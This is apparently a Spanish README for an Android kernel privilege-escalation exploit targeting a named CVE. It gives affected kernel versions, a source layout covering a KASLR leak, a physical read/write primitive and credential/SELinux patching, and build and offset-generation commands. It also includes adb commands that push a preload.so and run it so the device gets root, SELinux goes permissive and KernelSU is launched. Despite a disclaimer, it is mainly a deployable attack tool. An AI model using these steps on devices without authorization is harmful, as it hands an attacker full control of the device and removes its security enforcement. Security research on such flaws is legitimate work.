
Exploit de escalada de privilegios local en Android para CVE-2026-43499 que parchea las credenciales del kernel y lanza KernelSU embebido en modo de carga tardía mediante LD_PRELOAD.
Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, integrando KernelSU embebido. Compila y genera preload.so; tras una explotación exitosa, KernelSU se iniciará en modo late-load (modo jailbreak). Soporta la generación de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img.
Adaptación de escalada de privilegios local basada en una vulnerabilidad del kernel, integrando KernelSU embebido.
Compila y genera preload.so; tras una explotación exitosa, KernelSU se iniciará en modo late-load (modo jailbreak).
Soporta la generación de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img. u otra forma
Proyectos de referencia:
[!IMPORTANT] La explotación no autorizada de vulnerabilidades para dañar, comprometer u obtener acceso a sistemas informáticos está prohibida por ley. Este proyecto se proporciona estrictamente con fines de investigación, educativos y de aprendizaje, y solo puede utilizarse en sistemas y entornos para los que se haya otorgado autorización previa. Cualquier uso de este proyecto se realiza bajo el propio riesgo del usuario. Los autores y colaboradores no asumen ninguna responsabilidad por cualquier uso indebido de este proyecto ni por daños, pérdidas o consecuencias legales derivadas de su uso.
免责声明:未经授权利用漏洞对计算机系统实施破坏、入侵或未授权访问的行为均可能违反相关法律法规。本项目仅限于在已获得合法授权的系统和环境中用于安全研究、学习及测试目的。任何因使用、滥用或修改本项目而导致的直接或间接损失、法律责任及其他后果,均由使用者自行承担,项目作者及贡献者不承担任何责任。
Cuando su versión del kernel sea {Linux Kernel}, se encuentra dentro del alcance de afectación de esta vulnerabilidad
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
2.6.39 <= {Linux Kernel} < 6.1.175
6.2 <= {Linux Kernel} < 6.6.140
6.7 <= {Linux Kernel} < 6.12.86
6.13 <= {Linux Kernel} < 6.18.27
6.19 <= {Linux Kernel} < 7.0.4
| Target | Estado |
|---|---|
rodin(默认) | Verificado |
Otros src/targets/* | Referencia |
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 本仓库统一 target.h 生成入口
│ └── vendor/ # 从父目录同步的原始生成辅助脚本
└── src/
├── main.c # exploit 主流程
├── preload.c # LD_PRELOAD constructor + ksud 写出/启动
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
~/android-ndk-r29ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOTmakegitmake PROJECT=<target> -j$(nproc)
Salida:
build/<target>/bin/preload.so
make list-projects
Este repositorio ya incluye scripts unificados de generación de target:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py es el script de entrada. Toma como referencia y encapsula todos los flujos de generación de target del directorio padre, y finalmente genera el src/targets/<project>/target.h completo adaptado al código fuente de este repositorio.
El script no fuerza la validación de CONFIG_DEBUG_INFO_BTF=y en IKCONFIG. Si los desplazamientos de campos de estructura o el diseño de percpu entry_task no pueden verificarse, imprimirá una advertencia y continuará la generación.
Si la imagen no contiene ningún BTF utilizable, por ejemplo si aparece:
有效 vmlinux BTF 候选不唯一: []
El generador entrará en fallback sin BTF:
boot.img actual;rodin;without BTF y la plantilla utilizada;Se puede especificar la plantilla de fallback:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
Se escribe por defecto en:
src/targets/<project>/target.h
También se puede llamar directamente al script:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
profile.json debe contener información de direcciones físicas, por ejemplo:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
Solo generar profile:
make detect-profile PROFILE_OUT=profile.json
Detectar profile y generar target inmediatamente:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
El script también expone otras entradas soportadas por el generador del directorio padre:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
Forma de salida exitosa:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodin conservará por defecto el valor verificado en dispositivo real:
#define MM_STRUCT_SZ 0x500
Si se necesita sobrescribir:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
Se recomienda generar a partir de la imagen de arranque y el profile correspondientes:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
Un header de target completo incluirá:
PSELECT_WAITER_WORD_SHIFTMM_STRUCT_SZ y valores de ajuste de KernelSnitchEl código fuente actual ya tiene escritos los valores predeterminados; para una ejecución normal solo se necesita configurar LD_PRELOAD y ejecutar cualquier programa (se recomienda toybox id).
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
La configuración predeterminada actual es la siguiente:
Comportamiento del comando ksud realmente ejecutado por defecto:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
Estas variables de entorno aún pueden sobrescribirse en tiempo de ejecución, por ejemplo:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Reutilizar el ksud ya escrito:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
make clean
make clean conservará build/embed/ksud, porque src/ksud_blob.S lo embebe de la siguiente manera:
.incbin "build/embed/ksud"
Si una limpieza manual provoca la pérdida de build/embed/ksud, se puede restaurar:
git checkout -- build/embed/ksud
.incbin "build/embed/ksud" not foundRestaurar el payload embebido y recompilar:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
success=0rodin espera usar el layout legacy/simple de pselect:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
Si el estado del dispositivo ha sido contaminado por intentos fallidos, reiniciar directamente y volver a intentar:
adb reboot
F_SETPIPE_SZ devuelve EPERMNormalmente es un problema de estado causado por intentos fallidos/residuales; reiniciar es la forma más rápida de limpiar:
adb reboot
ksud se inicia pero /proc/modules no tiene KernelSUVer los registros:
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
Si es necesario, ejecutar manualmente en un shell root:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
GPL-3.0. Ver LICENSE.
| Configuración | Valor predeterminado | Descripción |
|---|
KSUD_LATE_LOAD | 1 | Ejecuta ksud late-load |
KSUD_ALLOW_SHELL | 1 | Pasa --allow-shell |
KSUD_PACKAGE | me.weishu.kernelsu | Nombre del paquete del gestor pasado a ksud (parece no surtir efecto) |
KSUD_DST | /data/local/tmp/ksud | Ruta de escritura del ksud embebido |
KSUD_SKIP_WRITE | 0 | Escribe el ksud embebido por defecto |
KSUD_DEFER_TO_PARENT | 1 | Inicia ksud desde la ruta del proceso padre/actual ya parcheado |
ROOT_PATCH_SELF | 1 | Parchea el proceso actual a uid 0 |
DISABLE_SELINUX | 1 | Al parchear root, escribe SELinux enforcing como permissive |
ROOT_EXIT_SLEEP | unset / 0 | No hacer sleep adicional antes de retornar |